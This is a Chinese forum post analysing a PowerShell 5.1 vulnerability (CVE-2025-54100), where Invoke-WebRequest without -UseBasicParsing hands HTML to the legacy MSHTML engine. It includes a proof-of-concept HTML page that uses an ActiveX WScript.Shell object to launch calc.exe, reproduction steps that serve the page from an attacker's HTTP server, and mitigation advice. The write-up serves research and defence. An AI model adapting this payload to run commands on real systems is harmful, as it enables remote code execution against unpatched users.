找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1094

积分

0

好友

158

主题
发表于 14 小时前 | 查看: 3| 回复: 0

目前,针对微软PowerShell中这个零日漏洞(CVE-2025-54100)的详细技术分析信息相对较少。根据官方发布的修复方案,该漏洞的成因与 Invoke-WebRequest 命令有关。

图片
相关漏洞公告
图片
漏洞修复指引

深入查阅资料后确认,此漏洞存在于 PowerShell 5.1 版本中。当使用 Invoke-WebRequest 命令且未指定 -UseBasicParsing 参数时,其默认会调用 Internet Explorer 的 MSHTML(Trident)引擎来完整解析 HTML 内容,进而可能导致远程代码执行(RCE)。

这里可能会产生疑问:Internet Explorer 的 MSHTML 是什么?

MSHTML 是微软的一个核心 COM 组件,全称为 Microsoft HTML Engine,通常也被称为 Trident 渲染引擎。可以将其理解为 Internet Explorer 浏览器的“心脏”,负责网页内容的核心解析与渲染工作。

图片
图片

根据微软技术文档,Invoke-WebRequest cmdlet 用于向网页或 Web 服务发送 HTTP/HTTPS 请求,并可以解析响应内容。

基本命令格式如下:

powershell Invoke-WebRequest -Uri "链接"

研究发现,PowerShell 在调用 Invoke-WebRequest 时,默认会加载一个名为 Microsoft.Mshtml.dll 的 COM 组件,该组件封装了老旧的 MSHTML (Trident) 引擎。

图片

无论系统是否安装有 IE 浏览器,此组件都存在。问题的本质在于,为了兼容性而调用的这个旧版网页渲染引擎自身存在安全漏洞,从而被利用。

首先,我们验证 PowerShell 能否正常调用 mshtml.dll。由于 MSHTML 通过 COM 接口提供功能,我们可以尝试使用 PowerShell 的 New-Object cmdlet 来创建相关的 COM 对象进行测试。

测试步骤:

  1. 尝试创建一个 HTMLDocument COM 对象。
  2. 如果对象创建成功并能执行操作(如写入文件),则证明调用正常。

图片
图片

测试证实,可以成功创建并操作该 COM 对象。

接下来的利用思路是通过 mshtml.dll 执行命令(例如弹计算器)。需要注意的是,由于 ActiveXObject 技术目前已基本被弃用,即使通过 COM 组件加载,直接利用也常受限或无效。实际的漏洞利用存在诸多限制条件,这使其成为了安全研究渗透测试中一个需要特定环境的技术点。

最终构造的 POC(概念验证)HTML 内容如下:

<!DOCTYPE html>
<html>
<head>
    <title>Test</title>
</head>
<body>
    <script>
        try {
            var shell = new ActiveXObject("WScript.Shell");
            shell.Run("calc.exe");
        } catch (e) {
            alert("ActiveX is disabled or not available: " + e.message);
        }
    </script>
</body>
</html>

攻击复现步骤:

  1. 攻击者使用 Python 启动一个简单的 HTTP 服务器来托管上述恶意 HTML 文件。
    python -m http.server 8080
  2. 在目标机器(PowerShell 5.1,且未打补丁)上执行以下命令:
    powershell Invoke-WebRequest -Uri "http://<攻击者IP>:8080/恶意网页.html"

图片

关键安全交互提示:
在执行上述漏洞命令时,PowerShell 可能会弹出以下警告:
是否继续当前操作?[Y] 是  [N] 否  (默认否)」

  • 选「Y」:继续使用高风险的 IE 引擎(触发漏洞)。
  • 选「N」或直接回车:命令中止,这是强制转向安全解析方式的一种防护。

图片

从响应包中可以看到,进程成功加载了 mshtml.HTMLDocumentClass,证实了漏洞触发的路径。

修复与缓解建议:
在进行任何网页内容获取操作时,强烈建议使用 -UseBasicParsing 参数。该参数会禁用完整的 HTML 解析与脚本执行功能,从而避免调用存在漏洞的 MSHTML 引擎,这是最直接有效的网络安全防护措施。

命令示例:


powershell Invoke-WebRequest -Uri "链接" -UseBasicParsing



上一篇:Python bup备份工具:基于Git技术的大文件高效增量备份方案
下一篇:嵌入式开发中LCD显示乱码的硬件连线与软件驱动全排查指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 17:29 , Processed in 0.125966 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表